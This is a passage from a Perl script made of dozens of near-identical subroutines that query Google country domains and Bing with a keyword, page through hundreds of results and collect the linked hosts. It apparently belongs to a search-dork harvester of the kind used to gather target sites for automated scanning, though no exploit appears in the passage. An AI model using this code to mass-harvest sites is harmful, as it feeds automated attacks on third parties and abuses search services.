  2105. "com.vn","co.mz","co.nz","co.th","co.tz","co.ug","co.uk","co.uz","co.ve",
  2106. "co.vi","co.za","co.zm","co.zw","cz","de","dj","dk","dm","dz","ee","es",
  2107. "fi","fm","fr","ga","ge","gg","gl","gm","gp","gr","gy","hn","hr","ht","vu",
  2108. "hu","ie","im","is","it","it.ao","je","jo","kg","ki","kz","la","li","vg",
  2109. "lk","lt","lu","lv","md","me","mg","mk","ml","mn","ms","mu","mv","mw","tt",
  2110. "ne","nl","no","nr","nu","pl","pn","ps","pt","ro","rs","ru","rw","sc",
  2111. "se","sh","si","sk","sm","sn","st","td","tg","tk","tl","tm","to","ws");
  2112.  
  2113.         for (my $i=0; $i<=200; $i+=10){
  2114.         my $mygogeldom = $dom[rand(scalar(@dom))];
  2115.         my $search = ("http://www.google.".$mygogeldom."/search?q=".key($key)."&num=100&start=".$i);
  2116.         my $res = search_engine_query($search);
  2117.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2118.                 my $link = $1;
  2119.                 if ($link!~ /googleINT/){
  2120.                         my @grep = links($link);
  2121.                         push(@list,@grep);
  2122.                         }
  2123.                 }
  2124.         }
  2125.         return @list;
  2126. }
  2127.  
  2128. sub googleCA() {
  2129.     my @list;
  2130.     my $key = $_[0];
  2131.     for (my $i=0; $i<=700; $i+=10){
  2132.         my $search = ("http://www.google.ca/search?q=".key($key)."&num=100&filter=&cr=countryCA&as_qdr=0&start=".$i);
  2133.         my $res = &search_engine_query($search);
  2134.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2135.             my $link = $1;
  2136.             if ($link !~ /googleCA/){
  2137.                 my @grep = links($link);
  2138.                 push(@list,@grep);
  2139.             }
  2140.         }
  2141.     }
  2142.     return @list;
  2143. }
  2144.  
  2145. sub googleDE() {
  2146.     my @list;
  2147.     my $key = $_[0];
  2148.     for (my $i=0; $i<=700; $i+=10){
  2149.         my $search = ("http://www.google.de/search?q=".key($key)."&num=100&filter=&cr=countryDE&as_qdr=0&start=".$i);
  2150.         my $res = &search_engine_query($search);
  2151.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2152.             my $link = $1;
  2153.             if ($link !~ /googleDE/){
  2154.                 my @grep = links($link);
  2155.                 push(@list,@grep);
  2156.             }
  2157.         }
  2158.     }
  2159.     return @list;
  2160. }
  2161.  
  2162. sub googleUK() {
  2163.     my @list;
  2164.     my $key = $_[0];
  2165.     for (my $i=0; $i<=700; $i+=10){
  2166.         my $search = ("http://www.google.co.uk/search?q=".key($key)."&num=100&filter=&cr=countryUK&as_qdr=0&start=".$i);
  2167.         my $res = &search_engine_query($search);
  2168.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2169.             my $link = $1;
  2170.             if ($link !~ /googleUK/){
  2171.                 my @grep = links($link);
  2172.                 push(@list,@grep);
  2173.             }
  2174.         }
  2175.     }
  2176.     return @list;
  2177. }
  2178.  
  2179. sub googleFR() {
  2180.     my @list;
  2181.     my $key = $_[0];
  2182.     for (my $i=0; $i<=700; $i+=10){
  2183.         my $search = ("http://www.google.fr/search?q=".key($key)."&num=100&filter=&cr=countryFR&as_qdr=0&start=".$i);
  2184.         my $res = &search_engine_query($search);
  2185.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2186.             my $link = $1;
  2187.             if ($link !~ /googleFR/){
  2188.                 my @grep = links($link);
  2189.                 push(@list,@grep);
  2190.             }
  2191.         }
  2192.     }
  2193.     return @list;
  2194. }
  2195.  
  2196. sub googleES() {
  2197.     my @list;
  2198.     my $key = $_[0];
  2199.     for (my $i=0; $i<=700; $i+=10){
  2200.         my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=&cr=countryES&as_qdr=0&start=".$i);
  2201.         my $res = &search_engine_query($search);
  2202.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2203.             my $link = $1;
  2204.             if ($link !~ /googleES/){
  2205.                 my @grep = links($link);
  2206.                 push(@list,@grep);
  2207.             }
  2208.         }
  2209.     }
  2210.     return @list;
  2211. }
  2212.  
  2213. sub googleIT() {
  2214.     my @list;
  2215.     my $key = $_[0];
  2216.     for (my $i=0; $i<=700; $i+=10){
  2217.         my $search = ("http://www.google.it/search?q=".key($key)."&num=100&filter=&cr=countryIT&as_qdr=0&start=".$i);
  2218.         my $res = &search_engine_query($search);
  2219.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2220.             my $link = $1;
  2221.             if ($link !~ /googleIT/){
  2222.                 my @grep = links($link);
  2223.                 push(@list,@grep);
  2224.             }
  2225.         }
  2226.     }
  2227.     return @list;
  2228. }
  2229.  
  2230. sub googleNL() {
  2231.     my @list;
  2232.     my $key = $_[0];
  2233.     for (my $i=0; $i<=700; $i+=10){
  2234.         my $search = ("http://www.google.nl/search?q=".key($key)."&num=100&filter=&cr=countryNL&as_qdr=0&start=".$i);
  2235.         my $res = &search_engine_query($search);
  2236.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2237.             my $link = $1;
  2238.             if ($link !~ /googleNL/){
  2239.                 my @grep = links($link);
  2240.                 push(@list,@grep);
  2241.             }
  2242.         }
  2243.     }
  2244.     return @list;
  2245. }
  2246.  
  2247. sub googleBE() {
  2248.     my @list;
  2249.     my $key = $_[0];
  2250.     for (my $i=0; $i<=700; $i+=10){
  2251.         my $search = ("http://www.google.be/search?q=".key($key)."&num=100&filter=&cr=countryBE&as_qdr=0&start=".$i);
  2252.         my $res = &search_engine_query($search);
  2253.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2254.             my $link = $1;
  2255.             if ($link !~ /googleBE/){
  2256.                 my @grep = links($link);
  2257.                 push(@list,@grep);
  2258.             }
  2259.         }
  2260.     }
  2261.     return @list;
  2262. }
  2263.  
  2264. sub googleCH() {
  2265.     my @list;
  2266.     my $key = $_[0];
  2267.     for (my $i=0; $i<=700; $i+=10){
  2268.         my $search = ("http://www.google.ch/search?q=".key($key)."&num=100&filter=&cr=countryCH&as_qdr=0&start=".$i);
  2269.         my $res = &search_engine_query($search);
  2270.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2271.             my $link = $1;
  2272.             if ($link !~ /googleCH/){
  2273.                 my @grep = links($link);
  2274.                 push(@list,@grep);
  2275.             }
  2276.         }
  2277.     }
  2278.     return @list;
  2279. }
  2280.  
  2281. sub googleSE() {
  2282.     my @list;
  2283.     my $key = $_[0];
  2284.     for (my $i=0; $i<=700; $i+=10){
  2285.         my $search = ("http://www.google.se/search?q=".key($key)."&num=100&filter=&cr=countrySE&as_qdr=0&start=".$i);
  2286.         my $res = &search_engine_query($search);
  2287.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2288.             my $link = $1;
  2289.             if ($link !~ /googleSE/){
  2290.                 my @grep = links($link);
  2291.                 push(@list,@grep);
  2292.             }
  2293.         }
  2294.     }
  2295.     return @list;
  2296. }
  2297.  
  2298. sub googleDK() {
  2299.     my @list;
  2300.     my $key = $_[0];
  2301.     for (my $i=0; $i<=700; $i+=10){
  2302.         my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=&cr=countryDK&as_qdr=0&start=".$i);
  2303.         my $res = &search_engine_query($search);
  2304.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2305.             my $link = $1;
  2306.             if ($link !~ /googleDK/){
  2307.                 my @grep = links($link);
  2308.                 push(@list,@grep);
  2309.             }
  2310.         }
  2311.     }
  2312.     return @list;
  2313. }
  2314.  
  2315. sub googleNO() {
  2316.     my @list;
  2317.     my $key = $_[0];
  2318.     for (my $i=0; $i<=700; $i+=10){
  2319.         my $search = ("http://www.google.no/search?q=".key($key)."&num=100&filter=&cr=countryNO&as_qdr=0&start=".$i);
  2320.         my $res = &search_engine_query($search);
  2321.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2322.             my $link = $1;
  2323.             if ($link !~ /googleNO/){
  2324.                 my @grep = links($link);
  2325.                 push(@list,@grep);
  2326.             }
  2327.         }
  2328.     }
  2329.     return @list;
  2330. }
  2331.  
  2332. sub googleNZ() {
  2333.     my @list;
  2334.     my $key = $_[0];
  2335.     for (my $i=0; $i<=700; $i+=10){
  2336.         my $search = ("http://www.google.co.nz/search?q=".key($key)."&num=100&filter=&cr=countryNZ&as_qdr=0&start=".$i);
  2337.         my $res = &search_engine_query($search);
  2338.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2339.             my $link = $1;
  2340.             if ($link !~ /googleNZ/){
  2341.                 my @grep = links($link);
  2342.                 push(@list,@grep);
  2343.             }
  2344.         }
  2345.     }
  2346.     return @list;
  2347. }
  2348.  
  2349. sub googleIE() {
  2350.     my @list;
  2351.     my $key = $_[0];
  2352.     for (my $i=0; $i<=700; $i+=10){
  2353.         my $search = ("http://www.google.ie/search?q=".key($key)."&num=100&filter=&cr=countryIE&as_qdr=0&start=".$i);
  2354.         my $res = &search_engine_query($search);
  2355.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2356.             my $link = $1;
  2357.             if ($link !~ /googleIE/){
  2358.                 my @grep = links($link);
  2359.                 push(@list,@grep);
  2360.             }
  2361.         }
  2362.     }
  2363.     return @list;
  2364. }
  2365.  
  2366. sub googleBR() {
  2367.     my @list;
  2368.     my $key = $_[0];
  2369.     for (my $i=0; $i<=700; $i+=10){
  2370.         my $search = ("http://www.google.com.br/search?q=".key($key)."&num=100&filter=&cr=countryBR&as_qdr=0&start=".$i);
  2371.         my $res = &search_engine_query($search);
  2372.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2373.             my $link = $1;
  2374.             if ($link !~ /google/){
  2375.                 my @grep = links($link);
  2376.                 push(@list,@grep);
  2377.             }
  2378.         }
  2379.     }
  2380.     return @list;
  2381. }
  2382.  
  2383. sub googleAR() {
  2384.     my @list;
  2385.     my $key = $_[0];
  2386.     for (my $i=0; $i<=700; $i+=10){
  2387.         my $search = ("http://www.google.com.ar/search?q=".key($key)."&num=100&filter=&cr=countryAR&as_qdr=0&start=".$i);
  2388.         my $res = &search_engine_query($search);
  2389.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2390.             my $link = $1;
  2391.             if ($link !~ /googleAR/){
  2392.                 my @grep = links($link);
  2393.                 push(@list,@grep);
  2394.             }
  2395.         }
  2396.     }
  2397.     return @list;
  2398. }
  2399.  
  2400. sub googleCO() {
  2401.     my @list;
  2402.     my $key = $_[0];
  2403.     for (my $i=0; $i<=700; $i+=10){
  2404.         my $search = ("http://www.google.com.co/search?q=".key($key)."&num=100&filter=&cr=countryCO&as_qdr=0&start=".$i);
  2405.         my $res = &search_engine_query($search);
  2406.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2407.             my $link = $1;
  2408.             if ($link !~ /googleCO/){
  2409.                 my @grep = links($link);
  2410.                 push(@list,@grep);
  2411.             }
  2412.         }
  2413.     }
  2414.     return @list;
  2415. }
  2416.  
  2417. sub googleCU() {
  2418.     my @list;
  2419.     my $key = $_[0];
  2420.     for (my $i=0; $i<=700; $i+=10){
  2421.         my $search = ("http://www.google.com.cu/search?q=".key($key)."&num=100&filter=&cr=countryCU&as_qdr=0&start=".$i);
  2422.         my $res = &search_engine_query($search);
  2423.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2424.             my $link = $1;
  2425.             if ($link !~ /googleCU/){
  2426.                 my @grep = links($link);
  2427.                 push(@list,@grep);
  2428.             }
  2429.         }
  2430.     }
  2431.     return @list;
  2432. }
  2433.  
  2434. sub googleCL() {
  2435.     my @list;
  2436.     my $key = $_[0];
  2437.     for (my $i=0; $i<=700; $i+=10){
  2438.         my $search = ("http://www.google.cl/search?q=".key($key)."&num=100&filter=&cr=countryCL&as_qdr=0&start=".$i);
  2439.         my $res = &search_engine_query($search);
  2440.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2441.             my $link = $1;
  2442.             if ($link !~ /googleCL/){
  2443.                 my @grep = links($link);
  2444.                 push(@list,@grep);
  2445.             }
  2446.         }
  2447.     }
  2448.     return @list;
  2449. }
  2450.  
  2451. sub googleMX() {
  2452.     my @list;
  2453.     my $key = $_[0];
  2454.     for (my $i=0; $i<=700; $i+=10){
  2455.         my $search = ("http://www.google.com.mx/search?q=".key($key)."&num=100&filter=&cr=countryMX&as_qdr=0&start=".$i);
  2456.         my $res = &search_engine_query($search);
  2457.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2458.             my $link = $1;
  2459.             if ($link !~ /googleMX/){
  2460.                 my @grep = links($link);
  2461.                 push(@list,@grep);
  2462.             }
  2463.         }
  2464.     }
  2465.     return @list;
  2466. }
  2467.  
  2468. sub googleAU() {
  2469.     my @list;
  2470.     my $key = $_[0];
  2471.     for (my $i=0; $i<=700; $i+=10){
  2472.         my $search = ("http://www.google.com.au/search?q=".key($key)."&num=100&filter=&cr=countryAU&as_qdr=0&start=".$i);
  2473.         my $res = &search_engine_query($search);
  2474.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2475.             my $link = $1;
  2476.             if ($link !~ /googleAU/){
  2477.                 my @grep = links($link);
  2478.                 push(@list,@grep);
  2479.             }
  2480.         }
  2481.     }
  2482.     return @list;
  2483. }
  2484.  
  2485. sub googleRU() {
  2486.     my @list;
  2487.     my $key = $_[0];
  2488.     for (my $i=0; $i<=700; $i+=10){
  2489.         my $search = ("http://www.google.com.ru/search?q=".key($key)."&num=100&filter=&cr=countryRU&as_qdr=0&start=".$i);
  2490.         my $res = &search_engine_query($search);
  2491.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2492.             my $link = $1;
  2493.             if ($link !~ /googleRU/){
  2494.                 my @grep = links($link);
  2495.                 push(@list,@grep);
  2496.             }
  2497.         }
  2498.     }
  2499.     return @list;
  2500. }
  2501.  
  2502. sub googleAT() {
  2503.     my @list;
  2504.     my $key = $_[0];
  2505.     for (my $i=0; $i<=700; $i+=10){
  2506.         my $search = ("http://www.google.at/search?q=".key($key)."&num=100&filter=&cr=countryAT&as_qdr=0&start=".$i);
  2507.         my $res = &search_engine_query($search);
  2508.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2509.             my $link = $1;
  2510.             if ($link !~ /googleAT/){
  2511.                 my @grep = links($link);
  2512.                 push(@list,@grep);
  2513.             }
  2514.         }
  2515.     }
  2516.     return @list;
  2517. }
  2518.  
  2519. sub googlePL() {
  2520.     my @list;
  2521.     my $key = $_[0];
  2522.     for (my $i=0; $i<=700; $i+=10){
  2523.         my $search = ("http://www.google.pl/search?q=".key($key)."&num=100&filter=&cr=countryPL&as_qdr=0&start=".$i);
  2524.         my $res = &search_engine_query($search);
  2525.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2526.             my $link = $1;
  2527.             if ($link !~ /googlePL/){
  2528.                 my @grep = links($link);
  2529.                 push(@list,@grep);
  2530.             }
  2531.         }
  2532.     }
  2533.     return @list;
  2534. }
  2535.  
  2536. sub googleIL() {
  2537.     my @list;
  2538.     my $key = $_[0];
  2539.     for (my $i=0; $i<=700; $i+=10){
  2540.         my $search = ("http://www.google.co.il/search?q=".key($key)."&num=100&filter=&cr=countryIL&as_qdr=0&start=".$i);
  2541.         my $res = &search_engine_query($search);
  2542.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2543.             my $link = $1;
  2544.             if ($link !~ /googleIL/){
  2545.                 my @grep = links($link);
  2546.                 push(@list,@grep);
  2547.             }
  2548.         }
  2549.     }
  2550.     return @list;
  2551. }
  2552.  
  2553. sub googleTR() {
  2554.     my @list;
  2555.     my $key = $_[0];
  2556.     for (my $i=0; $i<=700; $i+=10){
  2557.         my $search = ("http://www.google.com.tr/search?q=".key($key)."&num=100&filter=&cr=countryTR&as_qdr=0&start=".$i);
  2558.         my $res = &search_engine_query($search);
  2559.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2560.             my $link = $1;
  2561.             if ($link !~ /googleTR/){
  2562.                 my @grep = links($link);
  2563.                 push(@list,@grep);
  2564.             }
  2565.         }
  2566.     }
  2567.     return @list;
  2568. }
  2569.  
  2570. sub googleUA() {
  2571.     my @list;
  2572.     my $key = $_[0];
  2573.     for (my $i=0; $i<=700; $i+=10){
  2574.         my $search = ("http://www.google.com.ua/search?q=".key($key)."&num=100&filter=&cr=countryUA&as_qdr=0&start=".$i);
  2575.         my $res = &search_engine_query($search);
  2576.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2577.             my $link = $1;
  2578.             if ($link !~ /googleUA/){
  2579.                 my @grep = links($link);
  2580.                 push(@list,@grep);
  2581.             }
  2582.         }
  2583.     }
  2584.     return @list;
  2585. }
  2586.  
  2587. sub googleGR() {
  2588.     my @list;
  2589.     my $key = $_[0];
  2590.     for (my $i=0; $i<=700; $i+=10){
  2591.         my $search = ("http://www.google.gr/search?q=".key($key)."&num=100&filter=&cr=countryGR&as_qdr=0&start=".$i);
  2592.         my $res = &search_engine_query($search);
  2593.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2594.             my $link = $1;
  2595.             if ($link !~ /googleGR/){
  2596.                 my @grep = links($link);
  2597.                 push(@list,@grep);
  2598.             }
  2599.         }
  2600.     }
  2601.     return @list;
  2602. }
  2603.  
  2604. sub googleJP() {
  2605.     my @list;
  2606.     my $key = $_[0];
  2607.     for (my $i=0; $i<=700; $i+=10){
  2608.         my $search = ("http://www.google.co.jp/search?q=".key($key)."&num=100&filter=&cr=countryJP&as_qdr=0&start=".$i);
  2609.         my $res = &search_engine_query($search);
  2610.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2611.             my $link = $1;
  2612.             if ($link !~ /googleJP/){
  2613.                 my @grep = links($link);
  2614.                 push(@list,@grep);
  2615.             }
  2616.         }
  2617.     }
  2618.     return @list;
  2619. }
  2620.  
  2621. sub googleCN() {
  2622.     my @list;
  2623.     my $key = $_[0];
  2624.     for (my $i=0; $i<=700; $i+=10){
  2625.         my $search = ("http://www.google.cn/search?q=".key($key)."&num=100&filter=&cr=countryCN&as_qdr=0&start=".$i);
  2626.         my $res = &search_engine_query($search);
  2627.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2628.             my $link = $1;
  2629.             if ($link !~ /googleCN/){
  2630.                 my @grep = links($link);
  2631.                 push(@list,@grep);
  2632.             }
  2633.         }
  2634.     }
  2635.     return @list;
  2636. }
  2637.  
  2638. sub googleMY() {
  2639.     my @list;
  2640.     my $key = $_[0];
  2641.     for (my $i=0; $i<=700; $i+=10){
  2642.         my $search = ("http://www.google.com.my/search?q=".key($key)."&num=100&filter=&cr=countryMY&as_qdr=0&start=".$i);
  2643.         my $res = &search_engine_query($search);
  2644.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2645.             my $link = $1;
  2646.             if ($link !~ /googleMY/){
  2647.                 my @grep = links($link);
  2648.                 push(@list,@grep);
  2649.             }
  2650.         }
  2651.     }
  2652.     return @list;
  2653. }
  2654.  
  2655. sub googleTH() {
  2656.     my @list;
  2657.     my $key = $_[0];
  2658.     for (my $i=0; $i<=700; $i+=10){
  2659.         my $search = ("http://www.google.co.th/search?q=".key($key)."&num=100&filter=&cr=countryTH&as_qdr=0&start=".$i);
  2660.         my $res = &search_engine_query($search);
  2661.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2662.             my $link = $1;
  2663.             if ($link !~ /googleTH/){
  2664.                 my @grep = links($link);
  2665.                 push(@list,@grep);
  2666.             }
  2667.         }
  2668.     }
  2669.     return @list;
  2670. }
  2671.  
  2672. sub googleIN() {
  2673.     my @list;
  2674.     my $key = $_[0];
  2675.     for (my $i=0; $i<=700; $i+=10){
  2676.         my $search = ("http://www.google.co.in/search?q=".key($key)."&num=100&filter=&cr=countryIN&as_qdr=0&start=".$i);
  2677.         my $res = &search_engine_query($search);
  2678.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2679.             my $link = $1;
  2680.             if ($link !~ /googleIN/){
  2681.                 my @grep = links($link);
  2682.                 push(@list,@grep);
  2683.             }
  2684.         }
  2685.     }
  2686.     return @list;
  2687. }
  2688.  
  2689. sub googleKR() {
  2690.     my @list;
  2691.     my $key = $_[0];
  2692.     for (my $i=0; $i<=700; $i+=10){
  2693.         my $search = ("http://www.google.co.kr/search?q=".key($key)."&num=100&filter=&cr=countryKR&as_qdr=0&start=".$i);
  2694.         my $res = &search_engine_query($search);
  2695.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2696.             my $link = $1;
  2697.             if ($link !~ /googleKR/){
  2698.                 my @grep = links($link);
  2699.                 push(@list,@grep);
  2700.             }
  2701.         }
  2702.     }
  2703.     return @list;
  2704. }
  2705.  
  2706. sub googleRO() {
  2707.     my @list;
  2708.     my $key = $_[0];
  2709.     for (my $i=0; $i<=700; $i+=10){
  2710.         my $search = ("http://www.google.ro/search?q=".key($key)."&num=100&filter=&cr=countryRO&as_qdr=0&start=".$i);
  2711.         my $res = &search_engine_query($search);
  2712.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2713.             my $link = $1;
  2714.             if ($link !~ /googleRO/){
  2715.                 my @grep = links($link);
  2716.                 push(@list,@grep);
  2717.             }
  2718.         }
  2719.     }
  2720.     return @list;
  2721. }
  2722.  
  2723. sub googleTW() {
  2724.     my @list;
  2725.     my $key = $_[0];
  2726.     for (my $i=0; $i<=700; $i+=10){
  2727.         my $search = ("http://www.google.com.tw/search?q=".key($key)."&num=100&filter=&cr=countryTW&as_qdr=0&start=".$i);
  2728.         my $res = &search_engine_query($search);
  2729.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2730.             my $link = $1;
  2731.             if ($link !~ /googleTW/){
  2732.                 my @grep = links($link);
  2733.                 push(@list,@grep);
  2734.             }
  2735.         }
  2736.     }
  2737.     return @list;
  2738. }
  2739.  
  2740. sub googleZA() {
  2741.     my @list;
  2742.     my $key = $_[0];
  2743.     for (my $i=0; $i<=700; $i+=10){
  2744.         my $search = ("http://www.google.co.za/search?q=".key($key)."&num=100&filter=&cr=countryZA&as_qdr=0&start=".$i);
  2745.         my $res = &search_engine_query($search);
  2746.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2747.             my $link = $1;
  2748.             if ($link !~ /googleZA/){
  2749.                 my @grep = links($link);
  2750.                 push(@list,@grep);
  2751.             }
  2752.         }
  2753.     }
  2754.     return @list;
  2755. }
  2756.  
  2757. sub googlePT() {
  2758.     my @list;
  2759.     my $key = $_[0];
  2760.     for (my $i=0; $i<=700; $i+=10){
  2761.         my $search = ("http://www.google.pt/search?q=".key($key)."&num=100&filter=&cr=countryPT&as_qdr=0&start=".$i);
  2762.         my $res = &search_engine_query($search);
  2763.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2764.             my $link = $1;
  2765.             if ($link !~ /googlePT/){
  2766.                 my @grep = links($link);
  2767.                 push(@list,@grep);
  2768.             }
  2769.         }
  2770.     }
  2771.     return @list;
  2772. }
  2773.  
  2774. sub bing() {
  2775.     my @list;
  2776.     my $key = $_[0];
  2777.     for (my $i=1; $i<=700; $i+=10) {
  2778.         my $search = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$i."&FORM=PERE");
  2779.         my $res = &search_engine_query($search);
  2780.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2781.             my $link = $1;
  2782.             if ($link !~ /msn|live|bing/) {
  2783.                 my @grep = links($link);
  2784.                 push(@list,@grep);
  2785.             }
  2786.         }
  2787.     }
  2788.     return @list;
  2789. }
  2790.  
  2791. sub bingDE() {
  2792.     my @list;
  2793.     my $key = $_[0];
  2794.     for (my $i=1; $i<=700; $i+=10) {
  2795.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  2796.         my $res = &search_engine_query($search);
  2797.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2798.             my $link = $1;
  2799.             if ($link !~ /msn|live|bingDE/) {
  2800.                 my @grep = links($link);
  2801.                 push(@list,@grep);
  2802.             }
  2803.         }
  2804.     }
  2805.     return @list;
  2806. }
  2807.  
  2808. sub bingUK() {
  2809.     my @list;
  2810.     my $key = $_[0];
  2811.     for (my $i=1; $i<=700; $i+=10) {
  2812.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  2813.         my $res = &search_engine_query($search);
  2814.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2815.             my $link = $1;
  2816.             if ($link !~ /msn|live|bingUK/) {
  2817.                 my @grep = links($link);
  2818.                 push(@list,@grep);
  2819.             }
  2820.         }
  2821.     }
  2822.     return @list;
  2823. }
  2824.  
  2825. sub bingCA() {
  2826.     my @list;
  2827.     my $key = $_[0];
  2828.     for (my $i=1; $i<=700; $i+=10) {
  2829.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  2830.         my $res = &search_engine_query($search);
  2831.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2832.             my $link = $1;
  2833.             if ($link !~ /msn|live|bingCA/) {
  2834.                 my @grep = links($link);
  2835.                 push(@list,@grep);
  2836.             }
  2837.         }
  2838.     }
  2839.     return @list;
  2840. }
  2841.  
  2842. sub bingBR() {
  2843.     my @list;
  2844.     my $key = $_[0];
  2845.     for (my $i=1; $i<=700; $i+=10) {
  2846.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  2847.         my $res = &search_engine_query($search);
  2848.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2849.             my $link = $1;
  2850.             if ($link !~ /msn|live|bingBR/) {
  2851.                 my @grep = links($link);
  2852.                 push(@list,@grep);
  2853.             }
  2854.         }
  2855.     }
  2856.     return @list;
  2857. }
  2858.  
  2859. sub bingFR() {
  2860.     my @list;
  2861.     my $key = $_[0];
  2862.     for (my $i=1; $i<=700; $i+=10) {
  2863.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  2864.         my $res = &search_engine_query($search);
  2865.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2866.             my $link = $1;
  2867.             if ($link !~ /msn|live|bingFR/) {
  2868.                 my @grep = links($link);
  2869.                 push(@list,@grep);
  2870.             }
  2871.         }
  2872.     }
  2873.     return @list;
  2874. }
  2875.  
  2876. sub bingES() {
  2877.     my @list;
  2878.     my $key = $_[0];
  2879.     for (my $i=1; $i<=700; $i+=10) {
  2880.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  2881.         my $res = &search_engine_query($search);
  2882.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2883.             my $link = $1;
  2884.             if ($link !~ /msn|live|bingES/) {
  2885.                 my @grep = links($link);
  2886.                 push(@list,@grep);
  2887.             }
  2888.         }
  2889.     }
  2890.     return @list;
  2891. }
  2892.  
  2893. sub bingIT() {
  2894.     my @list;
  2895.     my $key = $_[0];
  2896.     for (my $i=1; $i<=700; $i+=10) {
  2897.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  2898.         my $res = &search_engine_query($search);
  2899.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2900.             my $link = $1;
  2901.             if ($link !~ /msn|live|bingIT/) {
  2902.                 my @grep = links($link);
  2903.                 push(@list,@grep);
  2904.             }
  2905.         }
  2906.     }
  2907.     return @list;
  2908. }
  2909.  
  2910. sub bingBE() {
  2911.     my @list;
  2912.     my $key = $_[0];
  2913.     for (my $i=1; $i<=700; $i+=10) {
  2914.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  2915.         my $res = &search_engine_query($search);
  2916.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2917.             my $link = $1;
  2918.             if ($link !~ /msn|live|bingBE/) {
  2919.                 my @grep = links($link);
  2920.                 push(@list,@grep);
  2921.             }
  2922.         }
  2923.     }
  2924.     return @list;
  2925. }
  2926.  
  2927. sub bingNL() {
  2928.     my @list;
  2929.     my $key = $_[0];
  2930.     for (my $i=1; $i<=700; $i+=10) {
  2931.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  2932.         my $res = &search_engine_query($search);
  2933.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  2934.             my $link = $1;
  2935.             if ($link !~ /msn|live|bingNL/) {
  2936.                 my @grep = links($link);
  2937.                 push(@list,@grep);
  2938.             }
  2939.         }
  2940.     }
  2941.     return @list;
  2942. }
  2943.  
  2944. sub bingPT() {
  2945.     my @list;
  2946.     my $key = $_[0];
  2947.     for (my $i=1; $i<=700; $i+=10) {
  2948.         my $search = ("http://www.bing.com/search?q=".key($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  2949.         my $res = &search_engine_query($search);
  2950.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
